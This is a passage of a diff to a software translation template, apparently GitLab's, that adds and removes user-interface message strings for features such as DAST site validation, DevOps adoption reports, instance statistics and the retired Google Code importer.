+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8816,7 +9061,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8900,9 +9145,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9320,6 +9562,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9338,6 +9583,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9726,9 +10043,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9801,9 +10115,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10137,7 +10463,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10506,6 +10835,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10617,6 +10949,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10854,9 +11189,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10893,6 +11225,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10971,6 +11306,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11205,6 +11543,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11487,6 +11834,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11526,12 +11876,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11830,7 +12189,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11986,9 +12339,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12034,9 +12384,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12121,6 +12468,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12637,6 +12984,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12880,15 +13233,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13717,6 +14061,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13872,9 +14219,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14016,6 +14360,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14153,9 +14494,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14186,6 +14524,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14219,6 +14560,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14429,9 +14770,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14516,9 +14854,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14544,73 +14879,79 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14796,6 +15155,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14838,6 +15200,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14862,6 +15227,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15099,6 +15467,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15543,6 +15935,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15823,6 +16215,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15850,9 +16245,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15883,9 +16275,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16138,6 +16512,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16160,6 +16537,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,16 +16804,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16499,7 +16870,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16511,7 +16882,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
